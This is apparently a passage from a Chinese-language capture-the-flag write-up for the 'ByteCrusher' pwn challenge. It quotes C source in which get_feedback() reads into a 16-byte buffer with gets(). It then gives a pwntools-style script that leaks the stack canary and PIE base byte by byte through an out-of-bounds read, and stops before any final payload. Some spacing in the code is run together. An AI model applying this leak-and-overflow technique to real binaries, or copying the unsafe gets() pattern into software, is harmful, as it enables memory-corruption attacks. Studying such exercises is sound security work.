voidget_feedback() { char buf[16]; printf("Enter some text:\n"); gets(buf); printf("Your feedback has been recorded and totally not thrown away.\n"); }
printf("Welcome to ByteCrusher, dicegang's new proprietary text crusher!\n"); printf("We are happy to offer sixteen free trials of our premium service.\n");
free_trial(); get_feedback(); printf("\nThank you for trying ByteCrusher! We hope you enjoyed it.\n");
if (COMPILE_ADMIN_MODE) { admin_portal(); } return0; }
有越界写,通过选择合适的 rates 可以逐字节泄露 canary 和 pie ,毕竟至少有 16 字节的泄露机会
defattack(): canary = b'\x00' for i in canary_rates: crush(i, 3) io.recvuntil(b"string:\nA") canary += io.recv(1) canary = u64(canary) log.info(f'canary = {hex(canary)}')
pie = b'' for i in pie_rates: crush(i, 3) io.recvuntil(b"string:\nA") pie += io.recv(1) pie = u64(pie.ljust(8, b'\x00')) - 0x15EC log.info(f'pie = {hex(pie)}')